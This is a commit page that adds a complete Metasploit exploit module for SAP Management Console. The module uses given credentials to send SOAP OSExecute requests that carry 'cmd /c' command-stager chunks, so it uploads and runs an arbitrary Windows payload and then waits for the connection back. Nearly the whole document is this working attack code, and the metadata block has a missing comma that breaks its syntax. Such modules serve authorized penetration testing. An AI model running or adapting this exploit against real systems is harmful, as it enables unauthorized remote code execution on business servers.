Add #5742
git-svn-id: file:///home/svn/framework3/trunk@14047 4d416f70-5f16-0410-b530-b9f4589650daunstable
Wei Chen
parent
587f0fb4d6
commit
68286561f5
|
|
@ -0,0 +1,154 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SAP Management Console OSExecute Payload Execution',
|
||||
'Version' => '$Revision$',
|
||||
'License' => MSF_LICENSE
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'Description' => %q{
|
||||
This module executes an arbitrary payload through the SAP Management Console
|
||||
SOAP Interface. A valid username and password must be provided.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
|
||||
},
|
||||
'Platforms' => [ 'win' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
},
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 08 2011'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('USERNAME', [true, 'Username to use', '']),
|
||||
OptString.new('PASSWORD', [true, 'Password to use', '']),
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
end
|
||||
|
||||
def autofilter
|
||||
false
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
|
||||
print_status("Using custom payload size of #{linemax}") if linemax != 7500
|
||||
execute_cmdstager({ :delay => 0.35, :linemax => linemax })
|
||||
handler
|
||||
end
|
||||
|
||||
# This is method required for the CmdStager to work...
|
||||
def execute_command(cmd, opts)
|
||||
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs = 'http://www.w3.org/2001/XMLSchema'
|
||||
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1 = 'ns1:OSExecute'
|
||||
|
||||
cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
|
||||
if cmd_s.length > 1
|
||||
print_status("Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)")
|
||||
end
|
||||
|
||||
cmd_s = cmd_s.collect(&:strip)
|
||||
cmd_s.each do |payload|
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
|
||||
data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Authorization' => 'Basic ' + user_pass,
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 60)
|
||||
|
||||
if (res.code != 500 and res.code != 200)
|
||||
print_error("[SAP] An unknown response was received from the server")
|
||||
abort("Invlaid server response")
|
||||
elsif res.code == 500
|
||||
body = res.body
|
||||
if body.match(/Invalid Credentials/i)
|
||||
print_error("[SAP] The Supplied credentials are incorrect")
|
||||
abort("Exploit not complete, check credentials")
|
||||
elsif body.match(/Permission denied/i)
|
||||
print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
|
||||
raise RuntimeError.new("Exploit not complete, check credentials")
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] Unable to attempt authentication")
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue